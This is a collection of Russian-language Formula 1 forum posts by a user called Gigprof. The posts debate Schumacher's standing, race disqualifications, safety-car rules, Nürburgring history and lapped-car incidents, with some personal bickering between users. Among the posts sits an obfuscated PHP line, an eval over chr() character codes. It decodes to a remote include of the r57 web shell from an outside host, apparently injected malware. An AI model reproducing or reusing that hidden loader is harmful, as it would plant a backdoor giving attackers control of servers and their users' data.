Gigprof

А причем тут Кими, мне просто не нравится что распределение мест происходит не на трассе. Не важно кто в этом задействован: Феррари с дефлекторами или Вильямс с тормозами. А то что Кими не лучший , это и так понятно. Сенна в 93-м году на сыром Макларене взял 73 очка против 7 у Андретти. У Шумахера в 96-м было 7 сходов по техническим причинам в 16 гонках , а также 3 победы и 59 очков. Сила гонщика всего заметнее на хреновой машине. Когда в прошлом году его считали лучшим с одной победой , я спорил. А теперь особо и распространяться не стоит. Меня сейчас больше Уэббер волнует. Что он такое совершил по сравнению хотя бы с Физикой.

У Феррари и так было 122 очка против 61 у Рено. Сейчас 124. Для тебя есть принципиальная разница ? Для меня нет. Зато как я посмотрю болельщики Макларена стали вдруг поборниками регламента, который жутко хаяли в связи с шинным скандалом. Ну, кто еще считает что Макларен больше заслужил очки такой гонкой , чем Вильямс?

Да, еще , если бы применили наказание 25 секунд, то гонщиков бы квалифицировали в таком порядке: МШ, РБ, ДжБ, РШ, ХПМ, ДжФ, КР, ДК.

Кстати, напомню, что наказание в 25 секунд было применно в Австралии 2001 года( когда такие штрафы получили Панис и Ферстапен) и тогда из-за этого Кими получил очко в первой же гонке. Так что прецинденты были.

Я так и не понял, кроме истерики МАКЕЗИ, кто чего думает про дисквал? Бывало и раньше четырех гонщиков наказывали за пересечение белой линии, но чтобы дисквалифировать табунами. По моему это был перебор. Достаточно было накинуть всем по 25 секунд. И этим ограничиться. А то смахивает на беспредел. У кого какие мнения?

Вот уже и Вильнев согласен выступать вторым в феррари Отсюда

А вот Такума Сато не побоится! Это точно! Только далеко бы не уехал - до Adenauer-Forst бы уже машину разбил. А ну , наконец , все понял. Этот думает , что он лучше умеет ездить по Нюрбургрингу на машинах 68-ого года. Я бы на твоем месте в суд на редакцию подал, что тебя не включили в опрос , а какого-то Шумахера, который и до Adenauer-Forst не доехал бы , на третье место протолкнули

Как уже говорил этот рейтинг всего лишь повод опустить Шумахера. Есть много компонентов по которым он не лучший: старт с ходу, старт с места, оборона и т.д. Но в совокупности тут даже не о чем говорить. Сейчас уже не помнят но в конце 80-х и в начале 90-х когда пытались сравнивать пилотов разных эпох всегда говорили, что есть выдающиеся гонщики: Кларк, Стюарт, Лауда, Пике, Прост, Сенна. А Фанхио , добился недостижимого результата, потому что гонял в другую эпоху, когда можно было сменить машину и гонки были якобы любительскими. Теперь оказалось, что именно Шумахеру помогает эпоха. Оказывается именно теперь легче всего выигрывать чемпионат один за другим. Но при этом его по прежнему не хотят признавать лучшим. ха-ха Что до того , что Шумахер боится выкладываться в дождь, то большего удодства я вообще не слыхал. Эти люди похоже просто не смотрели гонок, кроме тех что были в последние три года. Спа-92, Спа-95, Спа-98, Малайзия-01, Барселона-96 (тут условия точно были не лучше 68-ого года). Список далеко не полный.

Скорее - это реакция на сход Михаэля. то есть на проиграную тактику FERRARI ? Нет. Тактика здесь нипричём. Было сказано после аварии Михаэля несколько слов по поводу сэфти-кара. Без таковой, с места бы этот вопрос не сдвинулся. Саша, в Ф1 так всегда было. После столкновения Сенны и Проста очковую систему поменяли. Кстати, если кто забыл увеличили стоимость победы.

Я так понял, что их волнует не скорость на пит-лейн, а то что после выезда сейф-кара все наоборот мчатся сломя голову не обращая внимание на желтые флаги. Или ты про датчики на трассе говорил. тогда тоже ерунда. Пейс-кар едет значимтельно быстрее, а остальные должны собраться за ним. Как же они соберутся если будут плестись 80 км/ч

Заехать-то он сможет, вот только выехатьон сможет только после проезда сейф-кара. Пока мнение о предмете рассуждений - очередная лажа от Мосли

Нюрбургринг-57 - это легенда. Но ты забыл ещё про Нюрбургринг-68, когда в тумане под проливным дождём Джеки Стюарт одержал убедительную победу. Почитать про эту гонку можно тут. Рассказывает сам Джеки (статья на английском языке). Да, помню. Мне Фан прислал фильм о Хилле старшем . Там минуты три клипы из этой гонки. Видимость , конечно была ужасной.

Вот такие темы Дезавора мне нравятся . Двумя руками за. Трасса уникальная тем, что тут как и в Монако только наиболее яркие гонщики могли показать себя во всей красе. Две наиболее запоминающиеся побебы одержали Тацио Нуволари , который опередил непобедимых в том году Мерсы, и Фанхио , который одержал весьма запоминающуюся последнюю победу, опередив за пару кругов две Феррари Коллинза и Хоторна.

У тебя раньше сложилось превратное представление, что ты меня победил в каких то ранних спорах, потому что я тебе не отвечал. Расслабься . Просто мне надоедал твой словесный понос. Сказать мне всегда есть что. Но не всегда хочется убивать время. Обрати внимание на этот пост: Я тебя раздражаю. Надо же . Поверь ты меня тоже. Выглядеть таким, чтобы тебе понравится не собираюсь. Парни!ну не хотите в PM.Создайте тему и разбирайтесь там,ну хорош бл... На всякий случай если ты не знаешь , это не шумофил. Я понимаю что тебе плевать на всех, особенно шумофилов, но хоть сделай попытку уважать тех , кто не болеет за МШ. Ответь на этот пост в топике о Монако, если хочешь.

Раз он своим поведением этого заслуживает - безусловно. А так как при этом некоторые личности стараются защитить и оправдать кумира всеми мыслимыми способами в любых эпизодах - миссия приобретает особую значимость. Без шуток, умник. Форум надо внимательнее читать. Надеюсь избавишь меня от необходимости отвечать на все твои посты. Напоминаю, мы с тобой ругаемся только в одной теме. Забудь на время как я тебе противен и обсирай меня только там. Ок?

Для тебя тоже самое с точностью до наоборот. То что ты болеешь за Рено я так понимаю была шутка. Единственная твоя страсть всегда опустить Шумахера в дерьмо.

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //

Дэвид Култхард поделился с журналистами RTL своим мнением: "Лидер задает темп остальным. То есть в данном случае темп определял Михаэль, с его стороны ничего некорректного не было. Это была ошибка Хуана-Пабло. Он должен быть оштрафован"

Чё-т я не уловил смысл тезиса. Смысл в том что МШ уже практически вытолкнут за пределы трассы и крутить ему в другую сторону здесь негде Вот Маузер сразу понял о чем я. Вот только вопрос: что было раньше?

Как смог? А вот так: Вот когда МШ усвоил, что надо выталкивать соперников за пределы трассы

Не знаю были ли у него проблемы или нет, но на последнем круге у него и Шумахера был похожий инцидент, только МШ увернулся и остался на трассе В то время не было правила трех синих флагов. Оно появилось позже. Кажется в 2000 году когда Мика и МШ оба могли стать трехкратными чемпионами. И памятуя о рассматриваемом здесь инциденте ФИА и придумала это правило, и придупредила о том что виновного в провоцировании инцидента дисквалифицируют на несколько гонок. И тогда все круговые действительно предпочитали в траву спрятаться.

Кулхард в дождь не так и плох, как ты тут пытаешься изобразить. В Бразилии году так 2001 он в дождь прошел МШ. Так что твоя теория не катит. Второе если гонщик задастся целью, не пропускать , то это можно успешно делать не только 2 круга , а гораздо больше, даже если скорость у них будет до этого сильно различаться.

Для сравнения аналогичный пример. Монтойя в Бразилии лидирует, догоняет кругового на Эрроузе, тот уходит с траектории, пристраивается сзади, Монтойя тормозит , тот заезжает ему в зад. Ситуация немного отличная. Но смысл тот же. Если случается креш виноват обгоняемый на круг, т.к. в правилах четко написано , что он должен пропустить более быструю машину.

У меня вопрос. Как будут контролировать, что двигатель тот же? Сейчас используют закрытый парк. А что делать , если гонок несколько. И на чем будут тестироваться команды, если болиды у них отберут?

Голосовал за 40-50е Какая техника была - один быстроходный танк БТ-7М чего стоит. 110 км/ч на автостраде. Красота. А какая прочная. Да еще и постреливает